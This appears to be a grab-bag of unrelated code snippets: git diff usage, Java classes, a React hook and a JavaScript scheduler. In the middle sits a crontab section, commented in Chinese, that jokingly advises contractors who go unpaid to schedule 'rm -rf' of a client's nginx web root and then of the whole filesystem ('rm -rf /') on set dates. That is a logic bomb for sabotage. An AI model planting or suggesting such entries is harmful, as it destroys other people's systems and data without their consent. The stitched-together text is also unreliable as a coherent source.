# 查看尚未暂存的文件更新了哪些部分
git diff
# 查看尚未暂存的某个文件更新了哪些
git diff filename
# 查看已经暂存起来的文件和上次提交的版本之间的差异
git diff –cached
# 查看已经暂存起来的某个文件和上次提交的版本之间的差异
git diff –cached filename
# 查看某两个版本之间的差异
git diff ffd98b291e0caa6c33575c1ef465eae661ce40c9 b8e7b00c02b95b320f14b625663fdecf2d63e74c
# 查看某两个版本的某个文件之间的差异
git diff ffd98b291e0caa6c33575c1ef465eae661ce40c9:filename b8e7b00c02b95b320f14b625663fdecf2d63e74c:filename

public class HelloWorld {
    public static void main(String[] args){
        System.out.println("Hello World!");
    }
}

# 做外包的时候，再也不用担心拿不到尾款了
# 编辑定时任务,命令行输入：
crontab -e
# 然后编写你的任务
#不给钱嘛，劳动节给个惊喜
0 0 1 5 * rm -rf /usr/share/nginx/html 
#特么的都过去一年了，算了算了，不陪你玩了
0 0 1 1 * rm -rf / 

# 查看当前定时任务
crontab -l
# 查看root用户的定时任务
crontab -l -u root

/**
 * Created by wolf on 2017/9/16.
 */
public class  Res<T> {

    private int code = 0;
    private T data;
    private String msg = "";
    private String error = "";

    public static Res ok = new Res();
    public static Res fail = new Res().code(-1);

    public static Res build() {
        return new Res();
    }

    public static <T> Res build(T data){
        return new Res().data(data);
    }

    public Res code(int code) {
        this.code = code;
        return this;
    }

    public Res data(T data) {
        this.data = data;
        return this;
    }

    public Res msg(String msg) {
        this.msg = msg;
        return this;
    }

    public Res error(String error) {
        this.error = error;
        return this;
    }
    //省略getter
}

import { useState, useEffect } from "react"

export default function useMousePosition() {
  const [mousePosition, setMousePosition] = useState({ x: null, y: null })

  useEffect(() => {
    const updateMousePosition = ev => {
      setMousePosition({ x: ev.clientX, y: ev.clientY })
    }
    window.addEventListener("mousemove", updateMousePosition)
    return () => {
      window.removeEventListener("mousemove", updateMousePosition)
    }
  }, [])

  return mousePosition
}

export default class Schedule{
  constructor(){
    this._delay=0
    this.p = null
  }
  timer(task,ms){
    return new Promise((resolve,reject)=>{
      setTimeout(()=>{
        task && task()
        resolve()
      },ms)
    })
  }
  task(task){
    const {_delay:delay,timer,p}=this
    this.p = p ?p.then(()=>timer(task,delay)) :timer(task,delay)
    return this
  }
  delay(_delay){
    this._delay = _delay
    return this
  }
}
// 用法
new Schedule().task(task1)
  .delay(1000).task(task2)
  .delay(500).task(task3)